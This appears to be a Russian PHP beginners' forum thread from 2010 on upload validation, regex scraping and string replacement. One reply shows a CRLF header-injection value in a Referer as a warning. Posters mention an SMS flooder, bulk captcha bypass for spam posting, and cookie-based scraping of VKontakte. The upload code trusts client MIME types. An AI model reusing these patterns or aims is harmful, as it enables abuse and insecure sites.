<form action = '' method = 'post'>
<input type = 'text' name = 'thumb' size = '3'>
<input type = 'submit' value = 'ok'>
</form>
<?php
$tsize = $_POST ['thumb'];
if (isset ($tsize) <300 )

# так а вот здесь тогда как?? Само число должно быть строго меньше 300, но больше 100, ежели не удовлетворяет то echo"Не удалось загрузить файл (ошибка создания превью)";

?>

wildshaman
01.06.2010, 23:55
<form action = '' method = 'post'>
<input type = 'text' name = 'thumb' size = '3'>
<input type = 'submit' value = 'ok'>
</form>
<?php
$tsize = $_POST ['thumb'];
if (isset ($tsize) and $tsize<300 and $tsize>100 )
{
чо надо
}
else
echo "ошибка создания превьью";
?>

Axel G
02.06.2010, 00:03
Сейчас если выбираю больше 300, тобишь 301. то пишет ошибку, но превьюху создает, аналогично если выберу 50, ошибка сверху и она ни как не влияет = (

$tsize= $_POST ['thumb'];
if (isset ($tsize) and $tsize<301 and $tsize>99 )
{
}
else
echo "ошибка создания превью";

roxblnfk
02.06.2010, 00:45
всё нормально работает.

<form action = '' method = 'post'>
<input type = 'text' name = 'thumb' size = '3'>
<input type = 'submit' value = 'ok'>
</form>
<?php
$tsize = isset($_POST ['thumb']) ? intval($_POST ['thumb']) : 0;
if ($tsize<300 && $tsize>100 ){
echo 'красавчик!';
} else echo 'ошибка создания превью';
?>

wildshaman
02.06.2010, 00:53
Сейчас если выбираю больше 300, тобишь 301. то пишет ошибку, но превьюху создает, аналогично если выберу 50, ошибка сверху и она ни как не влияет = (

$tsize= $_POST ['thumb'];
if (isset ($tsize) and $tsize<301 and $tsize>99 )
{
}
else
echo "ошибка создания превью";

Какая ошибка?
Что вставляешь между {} ?
Куда вставляешь код заливки?

DonKihot
02.06.2010, 00:57
foreach($obj as $k1 => $FSobject)
{echo "<tr>";
foreach($FSobject as $key => $key)
{
echo "<td> $key </td>";
}
echo "</tr>";
}
так выводит, названия ключа массива во много строк,
а нужно в одну строку. Как это сделать?

Axel G
02.06.2010, 01:10
roxblnfk нет, не работает, превьюха все равно создается.

wildshaman,
Какая ошибка? - в том то и дело что никакой;
Что вставляешь между {} ? - ничего так и оставил {};
Куда вставляешь код заливки? - в заранее заготовленный скрипт загрузки фоток.


$tsize = isset($_POST ['thumb']) ? intval($_POST ['thumb']) : 0;
if ($tsize<300 && $tsize>100 ){
echo 'красавчик!';
} else echo 'ошибка создания превью';

if(!isset($_FILES['userfile'])) exit;
if(!is_uploaded_file($_FILES['userfile']['tmp_name'])) exit;

if ($_FILES['userfile']['size']>$max_size) {
echo "<p align=center>Файл слишком большой!</p>";
exit;
}

$pictype="";
switch(strtolower($_FILES['userfile']['type'])){
case "image/jpeg" : $pictype=".jpg"; break;
case "image/pjpeg": $pictype=".jpg"; break;
case "image/gif" : $pictype=".gif"; break;
case "image/png" : $pictype=".png"; break;
case "image/x-png": $pictype=".png"; break;
default : $pictype=""; break;
}

if($pictype!="") {
//-------
do {
$uniq=md5(uniqid(rand(),1));
$srcfile=$path.$uniq.$pictype;
} while(file_exists($srcfile));

$res = copy($_FILES['userfile']['tmp_name'], $srcfile);

if (!$res) {
echo "<p align=center>Ошибка копирования файла на сервер!</p>";
exit;
}
@chmod($srcfile,0666);
//set url variable
$imgf = $path . $uniq . $pictype;
$thbf = $tpath . $uniq . ".jpg";
createthumb($imgf,$pictype,$thbf,$tsize,$tsize);
@chmod($thbf,0666);
$urlf = $domain . $path . $uniq . $pictype;

А ребят тогда такой еще вопрос, в этом сценарии как сделать цикл, чтоб загру;ать не по одному файлу, а сразу мультиапом до 10 штук за раз. name="userfile[]"

Ponchik
02.06.2010, 11:56
Ану хакеры, что за операция ^ в пыхе

У гугла это возведение в степень, и в IRCe все орут - это возведение в степень, а у пыха это чё?
for ($a=0;$a<=100;$a++) for ($i=0;$i<=100;$i++) echo "$a^$i=".($a^$i)."\r\n";http://pastebin.com/hADYZK9a

ИМХО это какая-то операция с битами, вот токо какая

Kaimi
02.06.2010, 12:03
Видимо побитовое исключающее "или"

Ponchik
02.06.2010, 12:05
Видимо побитовое исключающее "или"
А теперь для тех, кто прогуливал математику/физику. Как оно работает?

S|\/|eliyK()T
02.06.2010, 12:16
Вроди как вот такой принцип, сравнивает побитово
http://msdn.microsoft.com/ru-ru/library/ms190277.aspx

-=lebed=-
02.06.2010, 12:23
А теперь для тех, кто прогуливал математику/физику. Как оно работает?
Это информатика (точнее булева алгебра), операция XOR
1 XOR 1=0
1 XOR 0=1
0 XOR 1=1
0 XOR 0=0
тыц (http://ipg.h1.ru/lessons/ci/les34.html)

starbes
02.06.2010, 12:27
Кто знает как проще отправить html-письмо с localhost ?

-=lebed=-
02.06.2010, 12:29
Кто знает как проще отправить html-письмо с localhost ?
тыц (http://php.su/functions/?mail)

Ponchik
02.06.2010, 12:57
Кто знает как проще отправить html-письмо с localhost ?
Проще чем что? :confused:

roxblnfk
02.06.2010, 13:03
Axel G, ты пых вобще хоть чуток понимаешь? :) между {} тебе и надо было вставлять скрипт создания превью (вместо echo 'красавчик!'; )
а вообще, если следовать твоему скрипту, то лучше так:

if(!isset($_POST['thumb'])) exit;
if(300<$_POST['thumb'] || 100>$_POST['thumb']){
echo '<p align=center>ошибка создания превью</p>';
exit;
}

(замени это на то что есть)
Для мультиапа введи индексы для инпутов ( userfile_1 userfile_2 ... )
в цикле, к примеру

for($i=1;$i<=10;$i++)
if(isset($_FILES['userfile_'.$i]))
if(UPLOAD_ERR_OK==$_FILES['userfile_'.$i]['error']){
// всякие твои проверки
move_uploaded_file($_FILES['userfile_'.$i]['tmp_name'],'./parapapaparam/uf'.mktime().'_'.$i);
}else echo $i.'-й файл загружен с ошибкой';

roxblnfk
02.06.2010, 13:13
так выводит, названия ключа массива во много строк,
а нужно в одну строку. Как это сделать?
убери echo '<tr>';

DonKihot
02.06.2010, 13:37
foreach($obj as $k1 => $FSobject)
{echo "<tr>";
foreach($FSobject as $key => $key)
{
echo "<td> $key </td>";
}
echo "</tr>";
}

так выводит, названия ключа массива во много строк,
а нужно в одну строку. Как это сделать?

убери echo '<tr>';
У ячеек массива(класс, там ООП, класс в итераторе) есть названия : name,userid, date_modified,permission и др.

Нужно ТОЛЬКО названия ячеек (чтобы получился заголовок таблицы), что то наподобие этого : name | userid | date_modified | permission .

roxblnfk
02.06.2010, 14:57
DonKihot, не понял, может тебе
foreach($FSobject as $key => $key)
надо заменить на
foreach($FSobject as $key => $val)
? по твоему коду:
$obj - массив, элементы которого ( $FSobject===$obj[$k1] ) являются другими массивами.
В них (т.е. в каждом $FSobject): $key-ключ, $val-значение каждого элемента

Из перечисленных выше переменных что является названием? $val? (в твоём коде выводится $key в каждой ячейке, т.е. ключ)

Axel G
02.06.2010, 15:42
Axel G, ты пых вобще хоть чуток понимаешь? :)
самую что ни на есть малость = ) Так сказать только начинаю знакомство.

а вообще, если следовать твоему скрипту, то лучше так:

if(!isset($_POST['thumb'])) exit;
if(300<$_POST['thumb'] || 100>$_POST['thumb']){
echo '<p align=center>ошибка создания превью</p>';
exit;
}

Спасибо конечно, но куда переменную $tsize вставить в этом варианте??

Для мультиапа введи индексы для инпутов ( userfile_1 userfile_2 ... )
в цикле, к примеру

for($i=1;$i<=10;$i++)
if(isset($_FILES['userfile_'.$i]))
if(UPLOAD_ERR_OK==$_FILES['userfile_'.$i]['error']){
// всякие твои проверки
move_uploaded_file($_FILES['userfile_'.$i]['tmp_name'],'./parapapaparam/uf'.mktime().'_'.$i);
}else echo $i.'-й файл загружен с ошибкой';

А если инпутам присвоено name="userfile[]" то как скрипт должен выглядеть??

#####################################

<?

//create thumbnails
function createthumb($name,$sourcetype,$filename,$new_w,$ne w_h){
if ($sourcetype==".jpg"){
$src_img=imagecreatefromjpeg($name);
}
if ($sourcetype==".png"){
$src_img=imagecreatefrompng($name);
}
if ($sourcetype==".gif"){
$src_img=imagecreatefromgif($name);
}

$old_x=imageSX($src_img);
$old_y=imageSY($src_img);
if ($old_x > $old_y) {
$thumb_w=$new_w;
$thumb_h=$old_y*($new_h/$old_x);
}
if ($old_x < $old_y) {
$thumb_w=$old_x*($new_w/$old_y);
$thumb_h=$new_h;
}
if ($old_x == $old_y) {
$thumb_w=$new_w;
$thumb_h=$new_h;
}

$dst_img=ImageCreateTrueColor($thumb_w,$thumb_h);
imagecopyresampled($dst_img,$src_img,0,0,0,0,$thum b_w,$thumb_h,$old_x,$old_y);

imagejpeg($dst_img,$filename);
imagedestroy($dst_img);
imagedestroy($src_img);
}

//------------------------ START HERE ------------------

$max_size = 1024 * 1024;
$path = "images/";
$tpath = "thumbs/";

$tsize = $_POST['thumb'];

if(!isset($_FILES['userfile'])) exit;
if(!is_uploaded_file($_FILES['userfile']['tmp_name'])) exit;

if ($_FILES['userfile']['size']>$max_size) {
echo "<p align=center>Файл слишком большой!</p>";
exit;
}

$pictype="";
switch(strtolower($_FILES['userfile']['type'])){
case "image/jpeg" : $pictype=".jpg"; break;
case "image/pjpeg": $pictype=".jpg"; break;
case "image/gif" : $pictype=".gif"; break;
case "image/png" : $pictype=".png"; break;
case "image/x-png": $pictype=".png"; break;
default : $pictype=""; break;
}

if($pictype!="") {
//-------
do {
$uniq=md5(uniqid(rand(),1));
$srcfile=$path.$uniq.$pictype;
} while(file_exists($srcfile));

$res = copy($_FILES['userfile']['tmp_name'], $srcfile);

if (!$res) {
echo "<p align=center>Ошибка копирования файла на сервер!</p>";
exit;
}
@chmod($srcfile,0666);
//set url variable
$imgf = $path . $uniq . $pictype;
$thbf = $tpath . $uniq . ".jpg";
createthumb($imgf,$pictype,$thbf,$tsize,$tsize);
@chmod($thbf,0666);
$urlf = $domain . $path . $uniq . $pictype;

?>

# здесь HTML вывод ссылок.

<?
//error
} else {
echo "<p align=center>Формат файла не распознан!</p>";
exit;
}

?>

roxblnfk
02.06.2010, 16:21
Спасибо конечно, но куда переменную $tsize вставить в этом варианте??
ну как ребёнок.. :)
if(isset($_POST['thumb'])) $tsize=intval($_POST['thumb']);
else exit;
if(300<$tsize || 100>$tsize){
echo '<p align=center>ошибка создания превью</p>';
exit;
}
А если инпутам присвоено name="userfile[]" то как скрипт должен выглядеть??
print_r ($_FILES); поможет :)

Axel G
02.06.2010, 16:32
ну как ребёнок..
Быть может,

if(isset($_POST['thumb'])) $tsize=intval($_POST['thumb']);
else exit;
if(300<$tsize || 100>$tsize){
echo '<p align=center>ошибка создания превью</p>';
exit;
}

И что же у вас получится?? Я указывал ранее, что переменной $tsize должно присваиваться значение инпута, тобишь $tsize = $_POST['thumb'];

================================

спасибо за решение проблемы Chaak'у.

$tsize = $_POST['thumb'];
if($tsize >= 300 || $tsize <= 100)
die('<p align="center">Превью должно быть меньше 300, но больше 100 пикселей.<center>');

Corpy
02.06.2010, 18:14
Как с помощью php
Что бы получалось каждое следующее число в таком стиле: 001,002,003,004 и т.д
А то получается вот так : 001,1,2 и тд

Pashkela
02.06.2010, 18:20
<?php
for($i=1;$i<10;$i++)
printf("00%s,",$i);
?>

Corpy
02.06.2010, 18:28
<?php
for($i=1;$i<10;$i++)
printf("00%s,",$i);
?>

Пасиб

Gifts
02.06.2010, 18:39
Corpy Лучше так, в варианте от Pashkela числа больше 9 будут выглядеть как 0010 for ($i=0; $i<20; $i++)
echo sprintf("%'03d",10);

roxblnfk
02.06.2010, 18:47
Быть может,

if(isset($_POST['thumb'])) $tsize=intval($_POST['thumb']);
else exit;
if(300<$tsize || 100>$tsize){
echo '<p align=center>ошибка создания превью</p>';
exit;
}

И что же у вас получится?? Я указывал ранее, что переменной $tsize должно присваиваться значение инпута, тобишь $tsize = $_POST['thumb'];

дак то и получится, что если $_POST['thumb'] имеется, то $tsize примет его целочисленное значение, иначе, если $_POST['thumb'] не задано, то скрипт убьётся

Corpy
02.06.2010, 18:58
Что то типа граббера изображений по ссылке.
Вот куда мне надо были те циферки в предыдущем посте.Вот както боком сделал что бы циферки 001,002,003,004,009 и вот проблем незнаю как сделать что бы было аля 010,011,012.С переменными точно переборщил)))Фишки чисто для теста ;)
Подскажете ?

<?php $null = "00";
$start ="http://ru.fishki.net/picsw/062010/02/post/kostyum/kostyum";
$middle = 001;
$last = ".jpg";
while($middle <=100)
{
$link = file_get_contents($start . $null . $middle . $last); $link2 = file_put_contents($middle,$link);
}
?>

Gifts
02.06.2010, 19:03
Corpy <?php
$start ="http://ru.fishki.net/picsw/062010/02/post/kostyum/kostyum";
$middle = 0;
while(++$middle <=100)
{
$link = file_get_contents(sprintf("$start%'03d.jpg", $middle)); $link2 = file_put_contents($middle,$link);
}
?>

Corpy
02.06.2010, 19:08
Corpy <?php
$start ="http://ru.fishki.net/picsw/062010/02/post/kostyum/kostyum";
$middle = 0;
while(++$middle <=100)
{
$link = file_get_contents(sprintf("$start%'03d.jpg", $middle)); $link2 = file_put_contents($middle,$link);
}
?>
Спасибо огромнейшее....всё оказалось намного проще..

Axel G
02.06.2010, 20:16
дак то и получится, что если $_POST['thumb'] имеется, то $tsize примет его целочисленное значение, иначе, если $_POST['thumb'] не задано, то скрипт убьётся
И какой сценарий тогда будет правильнее??

roxblnfk
02.06.2010, 20:39
Axel G, любой :) учи php ^^

DoN
02.06.2010, 22:16
Я в основном пишу софт на С++
Дописал флудер смс и решил для развития сделать админку на PHP для привязки.

Почитал пару мануалов и столкнуля с 2-умя проблеммами.

1) Я получаю от формы "2+3".
Делаю так:

$s = $_REQUEST["s"];
$s = explode ('+', $s);
$2 = $s[0] + 0.3;
echo $2;


Вылазит ошибка.. Как это сделать?

2. Как с помощю регулярки заменить все найденные совпадения?
Допустим ввел "123" и отправил скрипту. Нужна регулярка что заменит "123" совпадения по всему массиву. Как сделать?
Если можна саму регулярку

zifanchuck
02.06.2010, 22:33
Вылазит ошибка.. Как это сделать?
Попробуй заменить $2 на например $a

2. Как с помощю регулярки заменить все найденные совпадения?
Если заменить то может помочь
str_replace('Что','Чем',$text);

DoN
02.06.2010, 22:34
Попробуй заменить $2 на например $a
Нет

zifanchuck
02.06.2010, 22:37
Нет
А что за ошибка у тебя?

Redwood
02.06.2010, 22:37
1. Цифрами нельзя называть переменные
2. preg_replace

DoN
02.06.2010, 22:54
1. Цифрами нельзя называть переменные
2. preg_replace
$str = "ghtjjrdd345hjf";
$txt = 345;
$s = 1;
preg_replace("|$txt|",$s,$str);
echo $str;

не катит

LaVey
02.06.2010, 23:01
echo preg_replace("|$txt|",$s,$str);
или
$la = preg_replace("|$txt|",$s,$str);
echo $la;
ты же вызываешь вывод стр..

4upakabr0
02.06.2010, 23:07
1. Во-первых, если ты уверен что от формы пришло именно "123+456" в параметре s, то такой вариант вполне рабочий:
p = $_REQUEST["s"];
//echo $p; //убери первые два слеша чтобы понять что пришло от формы, ибо + иногда режеться если приходит GET'ом
$arr = explode("+",$p);
echo $arr[0];
echo $arr[1];

2. Вот тебе вариант с заменой. Регулялярка только ищет, она возвращает то, что попадает под шаблон. А заменяет хорошо вот что:

$p = $_REQUEST["s"];
echo $p."<br>";
$src="123";
$dst="!замена!";
$newstr=str_replace($src,$dst,$p);
echo $newstr;

DoN
02.06.2010, 23:14
Всё) Еще один вопрос.
Как сделать ?

preg_replace("|href=...|",....);
там где = есть 3 варианта:
1) =текст
2) ='
3) ="
как сделать чтобы все 3 варианта распознавались и заменялись?

4upakabr0
02.06.2010, 23:16
Дай конкретную строку(или варианты), которую ты получаешь на входе и дай строку, которую хочешь получить на выходе.

DoN
02.06.2010, 23:26
Дай конкретную строку(или варианты), которую ты получаешь на входе и дай строку, которую хочешь получить на выходе.
$str = 'href="site.ru';
тут после = 3 варианта
$re = 'foto.ru';
preg_replace("|href= и тут перебрать 3 вар|","href=$re",$str);
тоже 3 вар

Ins3t
02.06.2010, 23:31
Я в основном пишу софт на С++

Искренне сочувствую твоим заказчицам.

DoN
02.06.2010, 23:37
Искренне сочувствую твоим заказчицам.
Я в PHP на уровне дилетанта знаю. А вот сишку прекрастно)

Писал много известых софтин. Например http analyzer

4upakabr0
02.06.2010, 23:58
Если я тебя правильно понял, то держи:
$str1='href="текст';
$str2='href=';
$str3='href="';
//$str4=''; //добавляй сколкьо хочешь проверок - все будет проверенно в цикле, нумеруй их как strN

$url='site.ru';
$dst="\${1}$url";
for($i=1;$i<=3;$i++)
{
$s=str.$i;
echo preg_replace("/(href=)([\"|\']+)(\w*)/",$dst,$$s)."<br>";
}

Но учти, после href= идет либо " либо ' а потом текст
Т.е. ты хочешь отловить все попадания " или ' сразу после = и перед текстом ссылки?) Кароч, хочешь инъект не пустить?

Ins3t
02.06.2010, 23:58
[Mысли в слух]
Забавно, учитывая то, что твой возраст <= 16, а первая версия http analyzer увидела свет в 2004 году.
Сколько тебе тогда было?
10? или 9?
[/Mысли в слух]

Kusto
03.06.2010, 00:02
$str = 'href="site.ru';
тут после = 3 варианта
$re = 'foto.ru';
preg_replace("|href= и тут перебрать 3 вар|","href=$re",$str);
тоже 3 вар
во первых перебрать три варианта- это надо цикл организовывать
во вторых чтоб что то перебиралось надо с переменной соединять, в третьих.....короче я тут ниодно правильное действие не увидел- сформулируй плиз четко задачу и получиш готовый код (так проще) только без этих переменных а на словах что сколько раз и как это должно делаться (авторизирование не тредуеться на сайте и т д) а так исправлять каждую ошибку- можно до утра

roxblnfk
03.06.2010, 00:07
как я понял, ему надо ссылку заменить, а ссылка задаётся одним из трёх вариантов:
href="index.htm"
href='index.htm'
href=index.htm

но не обязательно, что index.htm...

Kusto
03.06.2010, 00:12
как я понял, ему надо ссылку заменить, а ссылка задаётся одним из трёх вариантов:
href="index.htm"
href='index.htm'
href=index.htm

но не обязательно, что index.htm...

Блин значит в этом топике только Kusto тупой и ничего недогоняет, если принять за истинну первый пост ТС
Я

2. Как с помощю регулярки заменить все найденные совпадения?
Допустим ввел "123" и отправил скрипту. Нужна регулярка что заменит "123" совпадения по всему массиву. Как сделать?
Если можна саму регулярку на что заменит? как заменит? сколько элемментов в массиве я так и недогнал(((, а вот такую регулярку- увы еще не придумали(((
preg_replace("|href= и тут перебрать 3 вар|","href=$re",$str);

roxblnfk
03.06.2010, 00:19
Блин значит в этом топике только Kusto тупой и ничего недогоняет, если принять за истинну первый пост ТС
на что заменит? как заменит? сколько элемментов в массиве я так и недогнал(((
первый пост ТС можешь забыть, его раскурили, походу.
Щас обсуждается другой "еще один" вопрос, а именно:

Всё) Еще один вопрос.
Как сделать ?

preg_replace("|href=...|",....);
там где = есть 3 варианта:
1) =текст
2) ='
3) ="
как сделать чтобы все 3 варианта распознавались и заменялись?

4upakabr0
03.06.2010, 00:28
Да, согласен с Кусто, тут хер чо проссышь на самом-то деле. ТС - еще раз и внятнее расскажи что хочешь. Я тебя понял, но мне кажецо, что не совсем так)

Kusto
03.06.2010, 00:30
первый пост ТС можешь забыть, его раскурили, походу.
Щас обсуждается другой "еще один" вопрос, а именно:. тогда мож функцию preg_grep() всетаки заюзать????, получить массив и уж тогда что то в нем заменять на РАЗНЫЕ варианты а не так тупо 123 меняем на 234 (здесь смысл теряеться нет?)

DoN
03.06.2010, 09:50
Обьясняю еще раз.
Я парсю html страницу и мне нужно заменить все 3 варианта href, а именно:
1) href=/
2) href='/'
3) href="/"
Замена будет на 1 мой текст.
preg_replace('|href="тут надо сделать перебор 3 вариантов"/"и тут еще один перебор"|', 'href="http://site.ru/"', $page)
Т.е. из массива берётся перебор и поиск 3 вариантов и замена на текст

Joker-jar
03.06.2010, 11:41
$str = 'какой-то <a href=/>текст</a>; какой-то <a href=\'/\'>текст</a>; какой-то <a href="/">текст</a>;';
echo HTMLSpecialChars($str) . '<br />';
echo HTMLSpecialChars( preg_replace('/href=[\'\"]?\/[\'\"]?/', 'href="http://site.ru/"', $str) );

так что ли?

Fepsis
03.06.2010, 11:42
DoN, в мануале всё же есть: http://www.php.net/manual/en/function.preg-replace.php
смотри Example #2... Создаёшь массив того, что заменяешь и массив того, чем заменяешь..

crashwin
03.06.2010, 13:22
Не нашел на эту тему ничего интересного, интересует такой вопрос: возможно ли импортировать качу DLE в браузер средствами PHP? Есть скрипт DLE News Adder и 20 сайтов на DLE с капчей при добавлении новостей. Подскажите кто знает как и можно ли вообще сделать импорт;) По моим представлениям это не трудно, стягиваешь картинку с сайта, под ней сделать поле для ввода текста и данные из этого поля слать в соответствующее поле на сайте. Но мне не хватает опыта в этих делах, дайте какой то мануальчик на эту тему.

DoN
03.06.2010, 13:36
Вопрос по preg_replace

Как сделать замену найдегого текста на ничто? Ну чтобы просто удалялось

Fepsis
03.06.2010, 13:42
Вопрос по preg_replace

Как сделать замену найдегого текста на ничто? Ну чтобы просто удалялось
<?php
$string = 'ололол пщ пщ ололололопщ';
echo preg_replace('/пщ/', '', $string);
?>

krypt3r
03.06.2010, 13:42
$str = preg_replace ('/pattern/', '', $str);
А также str_replace()

DoN
03.06.2010, 13:44
$str = preg_replace ('/pattern/', '', $str);
А также str_replace()
Спс)

dimm666
03.06.2010, 14:09
Не нашел на эту тему ничего интересного, интересует такой вопрос: возможно ли импортировать качу DLE в браузер средствами PHP? Есть скрипт DLE News Adder и 20 сайтов на DLE с капчей при добавлении новостей. Подскажите кто знает как и можно ли вообще сделать импорт;) По моим представлениям это не трудно, стягиваешь картинку с сайта, под ней сделать поле для ввода текста и данные из этого поля слать в соответствующее поле на сайте. Но мне не хватает опыта в этих делах, дайте какой то мануальчик на эту тему.

Ну, эта... http://antigate.com/panel.php?action=api - кури API.

gvozd_spb
03.06.2010, 14:45
Есть хост, на нем сайт, все скрипты под зендером (в админке если редактировать, то х..й что увидишь). Есть дезендеренные скрипты. Подправил я их. Если заливать заменой. Будут ли они работать?
Спс за ответ.
Боюсь убить сайт..

SHiNiGaMi
03.06.2010, 18:46
Подскажите как на php сделать индикатор, который показывает online юзер, или нет.
Заранее спасибо.

FindeR
03.06.2010, 18:50
При логине юзера в таблицу кидаем запись о том, что юзер с таким-то id онлайн, при логауте (или неактивности n минут) - меняем эту запись на оффлайн :)
Ну а потом считываем эту запись, где это нужно, а зависимости от ответа базы, выводим нужное изображение.

SHiNiGaMi
03.06.2010, 18:54
да с базой то ежу понятно... а без нее никак? типа ip на сервере актиаен или еще ченибудь?

FindeR
03.06.2010, 19:12
Ну раз понятно, чего спрашиваешь?
1) что значит активен? А где будет храниться инфа, что он "активен" ? Ну, можешь в xml складывать :))

2) А про динамические IP и NAT не слышал?

И вообще, зачем изобретать велосипед?

SHiNiGaMi
03.06.2010, 19:31
просто велики разные бывают :)

FindeR
03.06.2010, 19:40
ZenstatioN, отправляй post'ом инфу на нужную страницу (например, с каким-нибудь <input name="renew_info" />). А на нужной странице:


if (!empty($_POST['renew_info']))
{mysql_query...;}

header('Location:'.$_SERVER['HTTP_REFERER']);

Anarh1st
04.06.2010, 17:41
Как сравнить переменную с каждой строкой файла?

Fuckel
04.06.2010, 18:05
ZenstatioN, отправляй post'ом инфу на нужную страницу (например, с каким-нибудь <input name="renew_info" />). А на нужной странице:


if (!empty($_POST['renew_info']))
{mysql_query...;}

header('Location:'.$_SERVER['HTTP_REFERER']);


не безопасно. например, если в рефе будет
\r\nSet-cookie: a=a
да, и после перенаправления лучше завершать работу скрипта.

Как сравнить переменную с каждой строкой файла?
тривиальный пример
читаешь файл этой http://ru2.php.net/manual/en/function.file.php
и сравниваешь как обычный массив

Nightmarе
04.06.2010, 18:47
Помогите плз с таким вопросом, в переменной на php записан такой текст:

$lol = <<<ASS
function(‘blablabla1’)
текст бла бла бла
function(‘blablabla2’)
текст бла бла бла
текст бла бла бла
текст бла бла бла
function(‘blablabla3’)
ASS;

Нужно получить содержимое function которая идёт в самом конце (не третяя, а именно самая последняя), в тексте их может быть сколько угодно, но надо хапнуть именно ту, которая в самом конце.
Чтобы скрипт вывел на экран blablabla3
Заранее спасибо.

Joker-jar
04.06.2010, 18:58
Nightmare, можешь strripos (http://ru.php.net/manual/en/function.strripos.php) заюзать. Либо регулярками, а потом из массива последний элемент брать

wildshaman
04.06.2010, 19:02
<?php
$lol = <<<ASS
function(‘blablabla1’)
текст бла бла бла
function(‘blablabla2’)
текст бла бла бла
текст бла бла бла
текст бла бла бла
function(‘blablabla3’)
ASS;
preg_match_all("|function\(‘(.*?)’\)|is", $lol, $out);
echo $out[1][count($out[1])-1];
?>

Pashkela
04.06.2010, 19:06
<?php
$lol = <<<ASS
function(‘blablabla1’)
текст бла бла бла
function(‘blablabla2’)
текст бла бла бла
текст бла бла бла
текст бла бла бла
function(‘blablabla3’)
ASS;
preg_match_all("#function\(\‘(.*)\’\)#",$lol,$res);
echo end($res[1]);
?>

Anarh1st
04.06.2010, 21:56
Warning: strpos() [function.strpos]: Offset not contained in string in /home/****/****/***.php on line 25

В чем дело?

pavl1k_fan@mail.ru
04.06.2010, 23:06
Anarh1st, может код покажешь?)

Anarh1st
04.06.2010, 23:25
$stop = strpos($ist,$txt2,$start+strlen($txt1));

wildshaman
04.06.2010, 23:37
Означает, что смещение, которое ты задаешь ($start+strlen($txt1)) больше длины строки.
То есть ты ищешь в строке вхождения с символа с номером offset, а у тебя строка короче.

foma9999
05.06.2010, 00:01
Имеется код:

<div class="post clearFix">
<div id="postContainer34314752">
<div id="post34314752" class="postData clearFix">
<div class="info">
<div>
<a href="id53739187">
<img src="http://cs9213.vkontakte.ru/u53739187/c_471537e5.jpg" alt=""/>
</a>
</div>
<div class="postIndex">#6863</div>
</div><div class="postBody">
<div class="postHeader">
<span class="postAuthor"><a href="id53739187">Виталик Димитров</a></span> <span class="timestamp">сегодня в 23:20</span>
</div>
<div class="postMessage" id="comment34314752" style="width: 375px; overflow: hidden;">логинишься на <a href='http://vkontakte.ru'>http://vkontakte.ru</a> или <a href='http://vk.com'>http://vk.com</a> ?</div>
</div>
<div class="postOptions" id="actions34314752">
<ul id="nav">
<li><a href='mail.php?act=write&to=53739187'>Сообщение</a></li><li><a href='javascript: report_spam(34314752)'>Это спам</a></li>
</ul>
</div>
</div>
</div>
</div><a name = "n6864"></a>




Как из этого кода сграббить
1) id53739187
2) Виталик Димитров
3) логинишься на <a href='http://vkontakte.ru'>http://vkontakte.ru</a> или <a href='http://vk.com'>http://vk.com</a> ?
4) дату и время

wildshaman
05.06.2010, 00:17
<?php
$str= <<<HTML
<div class="post clearFix">
<div id="postContainer34314752">
<div id="post34314752" class="postData clearFix">
<div class="info">
<div>
<a href="id53739187">
<img src="http://cs9213.vkontakte.ru/u53739187/c_471537e5.jpg" alt=""/>
</a>
</div>
<div class="postIndex">#6863</div>
</div><div class="postBody">
<div class="postHeader">
<span class="postAuthor"><a href="id53739187">Виталик Димитров</a></span> <span class="timestamp">сегодня в 23:20</span>
</div>
<div class="postMessage" id="comment34314752" style="width: 375px; overflow: hidden;">логинишься на <a href='http://vkontakte.ru'>http://vkontakte.ru</a> или <a href='http://vk.com'>http://vk.com</a> ?</div>
</div>
<div class="postOptions" id="actions34314752">
<ul id="nav">
<li><a href='mail.php?act=write&to=53739187'>Сообщение</a></li><li><a href='javascript: report_spam(34314752)'>Это спам</a></li>
</ul>
</div>
</div>
</div>
</div><a name = "n6864"></a>
HTML;
preg_match('|<a href="(.*?)">.*?class="postAuthor">.*?">(.*?)</a>.*?<span class="timestamp">(.*?)</span>.*?style="width: 375px; overflow: hidden;">(.*?)</div>|is', $str, $out);
echo $out[1]."<br>";
echo $out[2]."<br>";
echo $out[4]."<br>";
echo $out[3]."<br>";
?>


выдаст:

id53739187
Виталик Димитров
логинишься на http://vkontakte.ru или http://vk.com ?
сегодня в 23:20

Anarh1st
05.06.2010, 00:33
Блин, и что делать?

wildshaman
05.06.2010, 00:37
Блин, и что делать?
Пересмотреть код так, чтобы смещение не было длинее получаемой строки

Anarh1st
05.06.2010, 00:44
wildshaman, спасибо, но там никак...
Тогда можешь подсказать, как выполнить это же, но регуляркамий?

$photo = grabb($qwe, '<div id="profilePhoto" align="center">
', '</div>');

foma9999
05.06.2010, 00:56
$connclub2= connect2("http://vkontakte.ru/topic-6968868_23089261", $cookie);
preg_match_all('|<span class="postAuthor"><a href="(.*?)">.*?(.*?)</a>.*?<span class="timestamp">(.*?)</span>.*?style="width: 375px; overflow: hidden;">(.*?)</div>|is', $connclub2, $out2, PREG_SET_ORDER);
for ($i=0;$i<=20; $i++){ if ($out2[1][$i] == 'id30204448'){echo 'good!!!';}else{echo 'bad!!!';} }
sleep(4);
}

foma9999
05.06.2010, 00:58
Теперь есть



function grabb($str, $start, $end) {
$start = strpos($str, $start) + strlen($start);
$end = strpos($str, $end, $start);
$result = substr($str, $start, $end - $start);
flush();
return $result;
}

wildshaman
05.06.2010, 01:09
wildshaman, спасибо, но там никак...
Тогда можешь подсказать, как выполнить это же, но регуляркамий?



$str= <<<HTML
<div id="leftColumn">
<div id="profilePhoto" align="center">
<img src=http://cs660.vkontakte.ru/u4151221/a_1537e9a8.jpg />
</div>
<div id="profileActions">
HTML;
preg_match('|<div id="profilePhoto" align="center">
(.*?)
</div>|i', $str, $out);
echo $out[1];

Anarh1st
05.06.2010, 01:13
Спасибо!

Anarh1st
05.06.2010, 01:21
Хм, нет. Не выводит.

$qwe = file_get_contents('http://dima.qweker.info/test.php');
preg_match('|<div id="profilePhoto" align="center">
(.*?)
</div>|i', $qwe, $asd);
echo $asd[1];

Kusto
05.06.2010, 01:34
а так?


preg_match('#<div id="profilePhoto" align="center">
<img src=(.*?) />#iU',$qwe,$asd);

wildshaman
05.06.2010, 01:35
Хм, нет. Не выводит.
Мой мозг съели пробелы и переносы


$str= file_get_contents('http://dima.qweker.info/test.php');
preg_match('|<div id="profilePhoto" align="center">(.*?)</div>|is', $str, $out);
echo str_replace("\n","",$out[1]);

Anarh1st
05.06.2010, 01:36
Да я уже сам разобрался, попке спасибо :)

Anarh1st
05.06.2010, 01:37
preg_match('|<div id="profilePhoto" align="center">
(.*?)
<\/div>|i', $qwe, $asd);
echo $asd[1];

